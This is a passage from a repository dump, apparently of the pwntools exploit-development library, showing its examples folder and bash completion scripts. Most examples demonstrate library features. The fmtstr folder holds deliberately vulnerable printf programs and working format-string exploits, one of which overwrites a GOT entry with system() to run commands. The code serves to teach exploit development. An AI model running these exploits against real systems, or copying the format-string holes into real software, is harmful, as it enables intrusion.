with::\n\n  $ python indented.py\n\nand\n\n  $ python -i indented.py\n\nAlso notice that `pause()` can react on any key when in `term_mode`.\n```\n* `listen_uroboros.py`\n```\nAn example showing interconnection of sockets.  This script will wait for three\nconnections on port 1337, then connect them like a three-way Uroboros.\n```\n* `options.py`\n```\nExample showing `pwnlib.ui.options()`\n```\n* `port_forward.py`\n```\nA very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.\n```\n* `readline_completers.py`\n```\nExample showing pwnlib's readline implementation and a few completers.  This\npart of pwnlib will probably see some major changes soon, but we wanted to show\noff some proof-of-concepts.\n```\n* `remote.py`\n```\nExample showing how to use the remote class.\n```\n* `remote_gdb_debugging.py`\n```\nSimple example showing how to use the remote\ngdb debugging features available in pwntools.\n```\n* `spinners.py`\n```\nJust a lot of spinners!\n```\n* `splash.py`\n```\n\"Easteregg\"\n```\n* `ssh.py`\n```\nExample showing how to use the ssh class.\n```\n* `text.py`\n```\nExample showing how to use `pwnlib.term.text`.\n\nTry running with::\n\n  $ TERM=xterm python text.py\n\nand::\n\n  $ TERM=xterm-256color python text.py\n```\n* `yesno.py`\n```\nExample showing `pwnlib.ui.yesno()`\n```\n"
  },
  {
    "path": "examples/android.py",
    "content": "from __future__ import print_function\n\nimport gdb\nfrom pwn import adb, context\n\n# Tell pwntools that the target is an Android device\ncontext.os = \"android\"\ncontext.arch = \"aarch64\"  # or 'arm'\n\n# Optionally, set the remote ADB server address\ncontext.adb_host = \"172.16.110.1\"\n\n# Wait for a device to become available\nprint(adb.wait_for_device())\n\n# Who am I?\nprint(adb.process(\"id\").recvall().strip())\n\n# Interactive sessions!\nio = adb.shell()\nio.sendline(\"echo Hello, world; exit\")\nprint(io.recvall().replace(\"\\r\\n\", \"\\n\").strip())\n\n# Debugging!\ngdb.debug(\"sh\").interactive()\n"
  },
  {
    "path": "examples/args.py",
    "content": "\"\"\"\nWhen not in lib-mode (import `pwn` rather than `pwnlib`) we parse the\ncommandline for variables definitions.  A variable definition has the form::\n\n  <var>=<val>\n\nwhere ``<var>`` contains only uppercase letters, digits and underscores and\ndoesn't start with a digit.\n\nTry running this example with::\n\n  $ python args.py RHOST=localhost RPORT=1337\n\"\"\"\n\nfrom pwn import *\n\nprint(args['RHOST'] or 'RHOST is not set')\nprint(args['RPORT'] or 'RPORT is not set')\n"
  },
  {
    "path": "examples/asm.py",
    "content": "\"\"\"\nExample showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.\n\"\"\"\n\nfrom pwn import *\n\ncontext(arch='i386', os='linux')\n\nshellcode = shellcraft.i386_to_amd64()\nshellcode_asm = asm(shellcode)\n\nprint(enhex(shellcode_asm))\nprint(disasm(shellcode_asm))\n"
  },
  {
    "path": "examples/attach.py",
    "content": "\"\"\"\nExample showing `pwnlib.gdb.attach()`\n\"\"\"\n\nfrom pwn import *\n\nbash = process('/bin/bash')\ngdb.attach(bash, gdbscript = '''\np \"hello from pwnlib\"\nc\n''')\nbash.interactive()\n"
  },
  {
    "path": "examples/clean_and_log.py",
    "content": "\"\"\"\nUse case for `pwnlib.tubes.tube.clean_and_log`.\n\nSometimes you will have a solution to a challenge but you don't know what it\nwill look like when you get the flag.  Sometimes that will leave you with a\ntop-level exception, no flag, and angry team members.\n\nSolution:\n 1. Always run wireshark or tcpdump.  Always.\n 2. Register <your socket>.clean or <your socket>.clean_and_log to run at exit.\n\"\"\"\n\nfrom pwn import *\nfrom multiprocessing import Process\n\ndef submit_data():\n    with context.quiet:\n        with listen(1337) as io:\n            io.wait_for_connection()\n            io.sendline(b'prefix sometext')\n            io.sendline(b'prefix someothertext')\n            io.sendline(b'here comes the flag')\n            io.sendline(b'LostInTheInterTubes')\n\nif __name__ == '__main__':\n    p = Process(target=submit_data)\n    p.start()\n\n    r = remote('localhost', 1337)\n    atexit.register(r.clean_and_log)\n\n    while True:\n        line = r.recvline()\n        print(re.findall(br'^prefix (\\S+)$', line)[0])\n"
  },
  {
    "path": "examples/fmtstr/Makefile",
    "content": "CFLAGS := -Wno-unused-result -Wno-format-security\nTARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \\\n\t         printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \\\n\t         printf-loop.native printf-loop.native32\n\n.PHONY: run\nrun: all\n\t./exploit2.py\n\t./exploit.py\n\n.PHONY: all\nall: $(TARGETS)\n\n.PHONY: clean\nclean:\n\trm -f $(TARGETS)\n\n# mips variants\n%.mips: %.c\n\tmips-linux-gnu-gcc $(CFLAGS) -static -Os -o \"$@\" $^\n%.mipsel: %.c\n\tmipsel-linux-gnu-gcc $(CFLAGS) -static -Os -o \"$@\" $^\n%.mips64: %.c\n\tmips64-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o \"$@\" $^\n%.mips64el: %.c\n\tmips64el-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o \"$@\" $^\n\n# arm variants\n%.arm: %.c\n\tarm-linux-gnueabi-gcc $(CFLAGS) -static -Os -o \"$@\" $^\n%.aarch64: %.c\n\taarch64-linux-gnu-gcc $(CFLAGS) -static -Os -o \"$@\" $^\n\n# ppc variants\n%.ppc: %.c\n\tpowerpc-linux-gnu-gcc $(CFLAGS) -static -Os -o \"$@\" $^\n%.ppc64: %.c\n\tpowerpc64-linux-gnu-gcc $(CFLAGS) -static -Os -o \"$@\" $^\n\n# sparc variants\n%.sparc64: %.c\n\tsparc64-linux-gnu-gcc $(CFLAGS) -static -Os -o \"$@\" $^\n\n# native variants\n%.native: %.c\n\tgcc $(CFLAGS) -o \"$@\" $^\n%.native32: %.c\n\tgcc $(CFLAGS) -m32 -o \"$@\" $^\n\n# install deps on ubuntu xenial\n.PHONY: install-apt\ninstall-apt:\n\tapt-get install -y make gcc-mips64el-linux-gnuabi64 gcc-sparc64-linux-gnu gcc-powerpc64-linux-gnu gcc-powerpc-linux-gnu gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips64-linux-gnuabi64 gcc-mipsel-linux-gnu gcc-mips64el-linux-gnuabi64 gcc-mips-linux-gnu gcc-i686-linux-gnu gcc\n"
  },
  {
    "path": "examples/fmtstr/exploit.py",
    "content": "#!/usr/bin/env python\nfrom pwn import *\n\n@context.quiet\ndef exec_fmt(payload):\n    p = context.binary.process()\n    p.sendline(payload)\n    return p.recvall()\n\ndef exploit(binary):\n    context.binary = ELF(binary)\n    autofmt = FmtStr(exec_fmt)\n    offset = autofmt.offset\n    with context.binary.process() as p:\n        addr = unpack(p.recv(context.bytes))\n        payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})\n        p.sendline(payload)\n        p.recvuntil(b\"DONE\")\n        print(hex(u32(p.recv(4))))\n\nbinaries = [\n    \"printf.mips\",\n    \"printf.mips64\",\n    \"printf.mipsel\",\n    \"printf.mips64el\",\n    \"printf.native\",\n    \"printf.native32\",\n    \"printf.ppc\",\n    \"printf.ppc64\",\n    \"printf.sparc64\",\n    \"printf.arm\",\n    \"printf.aarch64\",\n]\n\nif len(sys.argv) > 1:\n    binaries = sys.argv[1:]\n\nfor binary in binaries:\n    exploit(binary)\n"
  },
  {
    "path": "examples/fmtstr/exploit2.py",
    "content": "#!/usr/bin/env python\n\"\"\"\nAn example combining fmtstr and dynelf to automatically exploit a PIE binary.\n\"\"\"\n\nfrom pwn import *\n\ndef exploit(e):\n    p = e.process()\n\n    def executer(fmt):\n        p.sendline(fmt)\n        p.stdin.flush()\n        r = p.recvuntil(b'again=\\n')\n        return r\n    f = FmtStr(executer)\n\n    # find some code pointer on stack\n    addrbits = min(context.bits, 48) # address space is no larger than 48-bit\n    min_code_ptr = 0x10 << addrbits-8\n    max_code_ptr = 0x7e << addrbits-8\n    for off in range(64):\n        random_code_ptr = f.leak_stack(off)\n        packed = bytearray(pack(random_code_ptr))\n        chars = set(packed) - {0}\n        # simple heuristic\n        if (min_code_ptr < random_code_ptr < max_code_ptr\n            and max(chars) > 0x80 and min(chars) < 0x80\n            and not hex(random_code_ptr).startswith('0x7ff')):\n            break\n\n    log.info(\"Code ptr: %#x\"%random_code_ptr)\n\n    online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)\n\n    print(\"Stack: %#x\" % (online_elf.stack(),))\n    print(\"Heap: %#x\" % (online_elf.heap(),))\n\n    info(\"Finding base address of the executable\")\n    for ref in e.sym:\n        if not ref:\n            continue\n        # if we have the address of a symbol on remote, we know the offset\n        ref_addr = online_elf.lookup(ref)\n        if ref_addr:\n            print(\"%s: %r\" % (ref, ref_addr))\n            break\n\n    system = online_elf.lookup('system', 'libc')\n    print(\"system: %#x\" % system)\n\n    # fix up the address\n    e.address += ref_addr - e.sym[ref]\n\n    # actual exploit: overwrite printf with system\n    f.write(e.sym.got.printf, system)\n    f.execute_writes()\n\n    p.sendline(b'echo ::$(( 16 * 16 ))')\n    p.recvuntil(b'::')\n    line = p.recvline()\n    assert line == b'256\\n'\n    p.sendline(b'exit')\n    p.close()\n\n\nfor context.binary in 'printf-loop.native32', 'printf-loop.native':\n    exploit(context.binary)\n"
  },
  {
    "path": "examples/fmtstr/printf-loop.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n\nint main() {\n  while (1) {\n    char str[256];\n    int n = read(STDIN_FILENO, str, sizeof(str) - 1);\n    str[n] = '\\0';\n    printf(str);\n    printf(\"\\n=try again=\\n\");\n    fflush(stdout);\n  }\n  return 0;\n}\n"
  },
  {
    "path": "examples/fmtstr/printf.c",
    "content": "#ifdef _FORTIFY_SOURCE\n#undef _FORTIFY_SOURCE\n#endif\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/mman.h>\n#define MEMORY_ADDRESS ((void*)0x11110000)\n#define MEMORY_SIZE 1024\n#define TARGET ((int *) 0x11110100)\nint main(int argc, char const *argv[])\n{\n       char buff[1024];\n       void *ptr = NULL;\n       int *my_var = TARGET;\n       ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);\n       if(ptr != MEMORY_ADDRESS)\n       {\n               perror(\"mmap\");\n               return EXIT_FAILURE;\n       }\n       *my_var = 0x41414141;\n       write(1, &my_var, sizeof(int *));\n       scanf(\"%s\", buff);\n       dprintf(2, buff);\n       write(1, \"DONE\", 4);\n       write(1, my_var, sizeof(int));\n       return 0;\n}\n"
  },
  {
    "path": "examples/gdb_api.py",
    "content": "#!/usr/bin/env python3\n\"\"\"An example of using GDB Python API with Pwntools.\"\"\"\nfrom pwn import *\n\n\ndef check_write(gdb, exp_buf):\n    \"\"\"Check that write() was called with the expected arguments.\"\"\"\n    fd = gdb.parse_and_eval('$rdi').cast(gdb.lookup_type('int'))\n    assert fd == 1, fd\n    buf_addr = gdb.parse_and_eval('$rsi').cast(gdb.lookup_type('long'))\n    count = gdb.parse_and_eval('$rdx').cast(gdb.lookup_type('long'))\n    buf = gdb.selected_inferior().read_memory(buf_addr, count).tobytes()\n    assert buf == exp_buf, buf\n\n\ndef demo_sync_breakpoint(cat, gdb, txt):\n    \"\"\"Demonstrate a synchronous breakpoint.\"\"\"\n    # set the synchronous breakpoint on ``write``\n    gdb.Breakpoint('write', temporary=True)\n\n    # resume the program\n    gdb.continue_nowait()\n\n    # send the line\n    cat.sendline(txt)\n\n    # wait until we hit the breakpoint\n    gdb.wait()\n\n    # inspect program state\n    check_write(gdb, (txt + '\\n').encode())\n\n    # resume the program\n    gdb.continue_nowait()\n\n    # expect to observe the line we just sent\n    cat.recvuntil(txt)\n\n\ndef demo_async_breakpoint(cat, gdb, txt):\n    \"\"\"Demonstrate asynchronous breakpoint.\"\"\"\n    # set the asynchronous breakpoint on ``write``\n    class WriteBp(gdb.Breakpoint):\n        def __init__(self):\n            super().__init__('write')\n            self.count = 0\n\n        def stop(self):\n            # called in a separate thread\n            check_write(gdb, (txt + '\\n').encode())\n            self.count += 1\n\n    bp = WriteBp()\n\n    # resume the program\n    gdb.continue_nowait()\n\n    # send the line and immediately expect to observe it\n    cat.sendline(txt)\n    cat.recvuntil(txt)\n\n    # check that we hit the breakpoint\n    assert bp.count == 1, bp.count\n\n    # interrupt the program\n    gdb.interrupt_and_wait()\n\n    # delete the breakpoint\n    bp.delete()\n\n    # resume the program\n    gdb.continue_nowait()\n\n\ndef main():\n    # start ``cat`` under GDB\n    with gdb.debug('cat', gdbscript='''\nset logging on\nset pagination off\n''', api=True) as cat:\n\n        # the process is stopped\n        # set the synchronous breakpoint on ``read``\n        cat.gdb.Breakpoint('read', temporary=True)\n\n        # resume and wait until we hit it\n        cat.gdb.continue_and_wait()\n\n        # demonstrate a more interesting synchronous breakpoint\n        demo_sync_breakpoint(cat, cat.gdb, 'foo')\n\n        # terminate GDB\n        cat.gdb.quit()\n\n    # now start ``cat`` normally\n    with process('cat') as cat:\n        # attach GDB\n        _, cat_gdb = gdb.attach(cat, gdbscript='''\nset logging on\nset pagination off\n''', api=True)\n\n        # the process is stopped\n        # demonstrate asynchronous breakpoint\n        demo_async_breakpoint(cat, cat_gdb, 'bar')\n\n        # terminate GDB\n        cat_gdb.quit()\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "examples/gen-README.py",
    "content": "\"\"\"\nScript to generate README.md\n\"\"\"\n\nfrom pwn import *\n\n\nout = '''# Examples\nWhile these examples should all work, they are not very representative of\nthe pwntools project.\n\nWe have a plan to create a separate repository with examples, primarily\nexploits. Until we do so, we recommend new users to look at\nhttps://docs.pwntools.com, as this is a better overview of our features.\n\nIn no particular order the docstrings for each example:\n\n'''\n\ndef append_example(_arg, top, names):\n    global out\n    for name in names:\n        if not (name.endswith('.py') and name != __file__):\n            continue\n        path = os.path.join(top, name)[2:] # strip './'\n        log.info('-> %s' % path)\n        data = read(path).strip().decode()\n        if data[0:3] not in ('\"\"\"', \"'''\"):\n            log.warning('  Has no docstring!')\n            continue\n        try:\n            i = data.index(data[0:3], 3)\n        except ValueError:\n            log.warning('  Docstring is weird')\n            continue\n        doc = util.safeeval.const(data[0:i + 3])\n        out += '* `%s`\\n' % path\n        out += '```%s```\\n' % doc\n\nfor path, dirs, files in os.walk('.', onerror=None):\n    append_example(dirs, path, sorted(files))\n\nwrite('README.md', out)\n"
  },
  {
    "path": "examples/indented.py",
    "content": "\"\"\"\nWhen running in term-mode (import `pwn` rather than `pwnlib`, stdout is a TTY\nand not running in a REPL), we can do proper indentation where lines too long to\nfit on a screen are split into multiple individually indented lines.\n\nToo see the difference try running with::\n\n  $ python indented.py\n\nand\n\n  $ python -i indented.py\n\nAlso notice that `pause()` can react on any key when in `term_mode`.\n\"\"\"\n\nfrom pwn import *\n\ncontext.log_level = 'info'\n\nlog.indented('A' * 100)\nlog.indented('B' * 100)\nlog.indented('C' * 100)\n\npause()\n"
  },
  {
    "path": "examples/listen_uroboros.py",
    "content": "\"\"\"\nAn example showing interconnection of sockets.  This script will wait for three\nconnections on port 1337, then connect them like a three-way Uroboros.\n\"\"\"\n\nfrom pwn import *\n\ncs = [listen(1337).wait_for_connection() for _ in range(3)]\n\ncs[0] << cs[1] << cs[2] << cs[0]\n\ncs[0].wait_for_close()\ncs[1].wait_for_close()\ncs[2].wait_for_close()\n"
  },
  {
    "path": "examples/options.py",
    "content": "\"\"\"\nExample showing `pwnlib.ui.options()`\n\"\"\"\n\nfrom pwn import *\n\nopts = [string.ascii_letters[x] for x in range(12)]\nprint('You choose \"%s\"' % opts[options('Pick one:', opts)])\n"
  },
  {
    "path": "examples/port_forward.py",
    "content": "\"\"\"\nA very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.\n\"\"\"\n\nfrom pwn import *\n\nwhile True:\n    listen(1337).wait_for_connection().connect_both(remote('google.com', 80))\n\n# now point your browser (or curl(1)) to http://localhost:1337\n"
  },
  {
    "path": "examples/readline_completers.py",
    "content": "\"\"\"\nExample showing pwnlib's readline implementation and a few completers.  This\npart of pwnlib will probably see some major changes soon, but we wanted to show\noff some proof-of-concepts.\n\"\"\"\n\nfrom pwn import *\nfrom pwnlib.term.completer import LongestPrefixCompleter\nfrom pwnlib.term.completer import PathCompleter\n\nc1 = LongestPrefixCompleter([\n    'foobar',\n    'foobaz',\n    'fooqux',\n    'exit',\n    'enough!',\n    ])\n\nc2 = PathCompleter(mask = '*.py')\n\nwith c1:\n    print('type \"exit\" to exit')\n    while True:\n        s = str_input(prompt = '> ').strip()\n        if s in ('exit', 'enough!'):\n            break\n        print('You wrote', s)\nwith c2:\n    print('choose a file')\n    s = str_input(prompt = text.bold_green('$ ')).strip()\n    print('You picked', s)\n"
  },
  {
    "path": "examples/remote.py",
    "content": "\"\"\"\nExample showing how to use the remote class.\n\"\"\"\n\nfrom pwn import *\n\nsock = remote('127.0.0.1', 9001)\n\nprint(sock.recvline())\nsock.send('foo')\nsock.interactive()\n"
  },
  {
    "path": "examples/remote_gdb_debugging.py",
    "content": "\"\"\"\nSimple example showing how to use the remote\ngdb debugging features available in pwntools.\n\"\"\"\n\nimport getpass\n\nfrom pwn import *\n\ns = ssh(getpass.getuser(), '127.0.0.1', port = 22, keyfile = \"~/.ssh/id_rsa\")\nc = gdb.ssh_gdb(s, '/bin/sh', gdbscript = '''\np/x $pc\nc''')\n\nc.sendline('ls -la')\nc.sendline('exit')\nprint(c.recvall())\n"
  },
  {
    "path": "examples/sigreturn_corefile_aarch64.py",
    "content": "from pwn import *\ncontext.arch='aarch64'\nframe = SigreturnFrame()\n\nregisters = ['x%i' % i for i in range(0, 31)]\nregisters += ['pc']\n\n\nfor index, register in enumerate(registers):\n    setattr(frame, register, index)\nframe.sp = 64\n\nassembly = '\\n'.join([\n    shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),\n    shellcraft.syscall(constants.SYS_rt_sigreturn)\n])\n\nbinary = ELF.from_assembly(assembly)\n\nio = binary.process()\nio.flat(frame)\nio.wait()\nassert io.poll() == -11\n\ncorefile = io.corefile\n\nfor register in registers:\n    value = getattr(corefile, register)\n    index = getattr(frame, register)\n    if index != value:\n        log.error(\"%s != %i (%i)\" % (register, index, value))\n    else:\n        log.success(\"%s == %i\" % (register, value))\n"
  },
  {
    "path": "examples/sigreturn_corefile_amd64.py",
    "content": "from pwn import *\ncontext.arch='amd64'\nframe = SigreturnFrame()\n\nregisters = ['rax', 'rbx', 'rcx', 'rdx',\n             'rdi', 'rsi', 'rbp', 'rsp',\n             'rip',\n             'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15']\n\nfor index, register in enumerate(registers):\n    setattr(frame, register, index)\n\nassembly = '\\n'.join([\n    shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024),\n    shellcraft.sigreturn()\n])\n\nbinary = ELF.from_assembly(assembly)\n\nio = binary.process()\nio.flat(frame)\nio.wait()\nassert io.poll() == -11\n\ncorefile = io.corefile\n\nfor index, register in enumerate(registers):\n    value = getattr(corefile, register)\n    if index != value:\n        log.error(\"%s != %i (%i)\" % (register, index, value))\n    else:\n        log.success(\"%s == %i\" % (register, value))\n"
  },
  {
    "path": "examples/sigreturn_corefile_arm.py",
    "content": "from pwn import *\n\ncontext.arch='arm'\nframe = SigreturnFrame()\n\nregisters = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',\n             'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']\n\n\nfor index, register in enumerate(registers):\n    setattr(frame, register, index)\nframe.sp = 64\n\nassembly = '\\n'.join([\n    shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),\n    shellcraft.sigreturn()\n])\n\nbinary = ELF.from_assembly(assembly)\n\nio = binary.process()\nio.flat(frame)\nio.wait()\nassert io.poll() == -11\n\ncorefile = io.corefile\n\nfor register in registers:\n    value = getattr(corefile, register)\n    index = getattr(frame, register)\n    if index != value:\n        log.error(\"%s != %i (%i)\" % (register, index, value))\n    else:\n        log.success(\"%s == %i\" % (register, value))\n"
  },
  {
    "path": "examples/sigreturn_corefile_i386.py",
    "content": "from pwn import *\ncontext.kernel='amd64'\nframe = SigreturnFrame()\n\nregisters = ['eax', 'ebx', 'ecx', 'edx',\n             'edi', 'esi', 'ebp', 'esp',\n             'eip']\n\nfor index, register in enumerate(registers):\n    setattr(frame, register, index)\n\nassembly = '\\n'.join([\n    shellcraft.read(constants.STDIN_FILENO, 'esp', 1024),\n    shellcraft.sigreturn()\n])\n\nbinary = ELF.from_assembly(assembly)\n\nio = binary.process()\nio.flat(frame)\nio.wait()\nassert io.poll() == -11\n\ncorefile = io.corefile\n\nfor index, register in enumerate(registers):\n    value = getattr(corefile, register)\n    if index != value:\n        log.error(\"%s != %i (%i)\" % (register, index, value))\n    else:\n        log.success(\"%s == %i\" % (register, value))\n"
  },
  {
    "path": "examples/spinners.py",
    "content": "\"\"\"\nJust a lot of spinners!\n\"\"\"\n\nfrom pwn import *\n\ncontext.log_level = 0\n\nn = 1\nh = log.waitfor('spinners running', status = str(n))\n\nhs = []\nprint('type \"q\" to quit')\nwhile True:\n    s = str_input('> ').strip()\n    if s == 'q':\n        break\n    hs.append(log.waitfor(s, status = 'running'))\n    n += 1\n    h.status(str(n))\n\nh.success()\n\nfor h in hs:\n    h.failure()\n"
  },
  {
    "path": "examples/splash.py",
    "content": "\"\"\"\n\"Easteregg\"\n\"\"\"\n\nfrom pwn import *\n\nsplash()\n\nh = log.waitfor(\"You wrote\", status = \"--\")\n\nwhile True:\n    l = str_input('> ').strip()\n    h.status(l.upper())\n"
  },
  {
    "path": "examples/ssh.py",
    "content": "\"\"\"\nExample showing how to use the ssh class.\n\"\"\"\n\nfrom pwn import *\n\nshell = ssh(host='bandit.labs.overthewire.org',user='bandit0',password='bandit0', port=2220)\n\n# Show basic command syntax\nlog.info(\"username: %s\" % shell.whoami())\nlog.info(\"pwd: %s\" % shell.pwd())\n\n# Show full tube syntax\ntube = shell.run('cat')\ntube.send(\"Hello, cat\")\ntube.shutdown(\"out\")\nprint(tube.recvall())\n\n# Show automatic working directories\nshell.set_working_directory()\nlog.info(\"pwd: %s\" % shell.pwd())\n\nshell.upload_data(\"\"\"\n#include <stdio.h>\nint main() {\n    return printf(\"Hello, world\");\n}\n\"\"\", 'example.c')\n\nshell.gcc(['example.c','-o','example'])\n\nprint(shell['./example'])\n\n# Show the different styles of calling\nprint(shell.echo(\"single string\"))\nprint(shell.echo([\"list\",\"of\",\"strings\"]))\nprint(shell[\"echo single statement\"])\n\n# ssh.process() is the most flexible way to run a command)\nio = shell.process(['/bin/bash', '-c', 'echo Hello $FOO'], \n                   env={'FOO': 'World'}, # Set environment\n                   stderr='/dev/null',   # Override file descriptors\n                   aslr=False,           # Disable ASLR on processes\n                   setuid=False,         # Disable setuid bit so processes can be debugged\n                   shell=False)          # Enable or disable shell evaluation\nprint(io.recvall())\n\n# Show off the interactive shell\nshell.interactive()\n"
  },
  {
    "path": "examples/text.py",
    "content": "'''\nExample showing how to use `pwnlib.term.text`.\n\nTry running with::\n\n  $ TERM=xterm python text.py\n\nand::\n\n  $ TERM=xterm-256color python text.py\n'''\nfrom pwn import *\n\ns = 'hello from pwntools'\nprint(text.black_on_green(s))\nprint(text.black_on_bright_green(s))\nprint(text.green_on_black(s))\nprint(text.bright_green_on_black(s))\nprint(text.bold_green_on_black(s))\n"
  },
  {
    "path": "examples/yesno.py",
    "content": "\"\"\"\nExample showing `pwnlib.ui.yesno()`\n\"\"\"\n\nfrom pwn import *\n\nif ui.yesno('Do you like Pwntools?'):\n    print(':D')\nelse:\n    print(':(')\n"
  },
  {
    "path": "extra/bash_completion.d/README.md",
    "content": "# Bash Completion\n\nTo install the completion, add `. /path/to/bash_completion.d/pwn`to your e.g. `~/.bash_profile`.\n\nThe `./install.sh` script attempts to do this for you automatically.\n\n### Shellcraft Autocomplete\n\nThe legacy autocompletion for `pwn shellcraft` is also available at `./shellcraft`.  \n\nIt is unsupported, and slow (runs `pwn shellcraft -l` every time your shell starts).\n\n"
  },
  {
    "path": "extra/bash_completion.d/install.sh",
    "content": "#!/usr/bin/env bash\n\nBASH_COMPLETION_DIR=$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\n\nif grep \"$BASH_COMPLETION_DIR\" ~/.bash_profile; then\n    >&2 echo \"Already installed\"\n    exit\nfi >/dev/null\n\ncat >> ~/.bash_profile <<EOF\n# Install autocompletion for Pwntools\n. \"$BASH_COMPLETION_DIR/pwn\"\nEOF"
  },
  {
    "path": "extra/bash_completion.d/pwn",
    "content": "#!/usr/bin/env bash\n# AUTOMATCALLY GENERATED by `shtab`\n\n_shtab_pwnlib_options_='-h --help'\n_shtab_pwnlib_commands_='asm checksec constgrep cyclic debug disablenx disasm elfdiff elfpatch errno hex phd pwnstrip scramble shellcraft template unhex update version'\n\n_shtab_pwnlib_asm='-h --help -f --format -o --output -c --context -v --avoid -n --newline -z --zero -d --debug -e --encoder -i --infile -r --run'\n_shtab_pwnlib_checksec='-h --help --file'\n_shtab_pwnlib_constgrep='-h --help -e --exact -i --case-insensitive -m --mask-mode -c --context'\n_shtab_pwnlib_cyclic='-h --help -a --alphabet -n --length -c --context -l -o --offset --lookup'\n_shtab_pwnlib_debug='-h --help -x --pid -c --context --exec --process --sysroot'\n_shtab_pwnlib_disablenx='-h --help'\n_shtab_pwnlib_disasm='-h --help -c --context -a --address --color --no-color'\n_shtab_pwnlib_elfdiff='-h --help'\n_shtab_pwnlib_elfpatch='-h --help'\n_shtab_pwnlib_errno='-h --help'\n_shtab_pwnlib_hex='-h --help'\n_shtab_pwnlib_phd='-h --help -w --width -l --highlight -s --skip -c --count -o --offset --color'\n_shtab_pwnlib_pwnstrip='-h --help -b --build-id -p --patch -o --output'\n_shtab_pwnlib_scramble='-h --help -f --format -o --output -c --context -p --alphanumeric -v --avoid -n --newline -z --zero -d --debug'\n_shtab_pwnlib_shellcraft='-h --help -? --show -o --out -f --format -d --debug -b --before -a --after -v --avoid -n --newline -z --zero -r --run --color --no-color --syscalls --address -l --list -s --shared'\n_shtab_pwnlib_template='-h --help --host --port --user --pass --password --path --quiet --color'\n_shtab_pwnlib_unhex='-h --help'\n_shtab_pwnlib_update='-h --help --install --pre'\n_shtab_pwnlib_version='-h --help'\n\n\n# $1=COMP_WORDS[1]\n_shtab_compgen_files() {\n  compgen -f -- $1  # files\n  compgen -d -S '/' -- $1  # recurse into subdirs\n}\n\n# $1=COMP_WORDS[1]\n_shtab_compgen_dirs() {\n  compgen -d -S '/' -- $1  # recurse into subdirs\n}\n\n# $1=COMP_WORDS[1]\n_shtab_replace_hyphen() {\n  echo $1 | sed 's/-/_/g'\n}\n\n# $1=COMP_WORDS[1]\n_shtab_replace_nonword() {\n  echo \"${1//[^[:word:]]/_}\"\n}\n\n# $1=COMP_WORDS[1]\n_shtab_pwnlib_compgen_root_() {\n  local args_gen=\"_shtab_pwnlib_COMPGEN\"\n  case \"$word\" in\n    -*) COMPREPLY=( $(compgen -W \"$_shtab_pwnlib_options_\" -- \"$word\"; [ -n \"${!args_gen}\" ] && ${!args_gen} \"$word\") ) ;;\n    *) COMPREPLY=( $(compgen -W \"$_shtab_pwnlib_commands_\" -- \"$word\"; [ -n \"${!args_gen}\" ] && ${!args_gen} \"$word\") ) ;;\n  esac\n}\n\n# $1=COMP_WORDS[1]\n_shtab_pwnlib_compgen_command_() {\n  local flags_list=\"_shtab_pwnlib_$(_shtab_replace_nonword $1)\"\n  local args_gen=\"${flags_list}_COMPGEN\"\n  COMPREPLY=( $(compgen -W \"${!flags_list}\" -- \"$word\"; [ -n \"${!args_gen}\" ] && ${!args_gen} \"$word\") )\n}\n\n# $1=COMP_WORDS[1]\n# $2=COMP_WORDS[2]\n_shtab_pwnlib_compgen_subcommand_() {\n  local flags_list=\"_shtab_pwnlib_$(_shtab_replace_nonword \"${1}_${2}\")\"\n  local args_gen=\"${flags_list}_COMPGEN\"\n  [ -n \"${!args_gen}\" ] && local opts_more=\"$(${!args_gen} \"$word\")\"\n  local opts=\"${!flags_list}\"\n  if [ -z \"$opts$opts_more\" ]; then\n    _shtab_pwnlib_compgen_command_ $1\n  else\n    COMPREPLY=( $(compgen -W \"$opts\" -- \"$word\"; [ -n \"$opts_more\" ] && echo \"$opts_more\") )\n  fi\n}\n\n# Notes:\n# `COMPREPLY` contains what will be rendered after completion is triggered\n# `word` refers to the current typed word\n# `${!var}` is to evaluate the content of `var`\n# and expand its content as a variable\n#       hello=\"world\"\n#       x=\"hello\"\n#       ${!x} ->  ${hello} ->  \"world\"\n_shtab_pwnlib() {\n  local word=\"${COMP_WORDS[COMP_CWORD]}\"\n\n  COMPREPLY=()\n\n  if [ \"${COMP_CWORD}\" -eq 1 ]; then\n    _shtab_pwnlib_compgen_root_ ${COMP_WORDS[1]}\n  elif [ \"${COMP_CWORD}\" -eq 2 ]; then\n    _shtab_pwnlib_compgen_command_ ${COMP_WORDS[1]}\n  elif [ \"${COMP_CWORD}\" -ge 3 ]; then\n    _shtab_pwnlib_compgen_subcommand_ ${COMP_WORDS[1]} ${COMP_WORDS[2]}\n  fi\n\n  return 0\n}\n\ncomplete -o nospace -F _shtab_pwnlib pwn\n"
  },
  {
    "path": "extra/bash_completion.d/shellcraft",
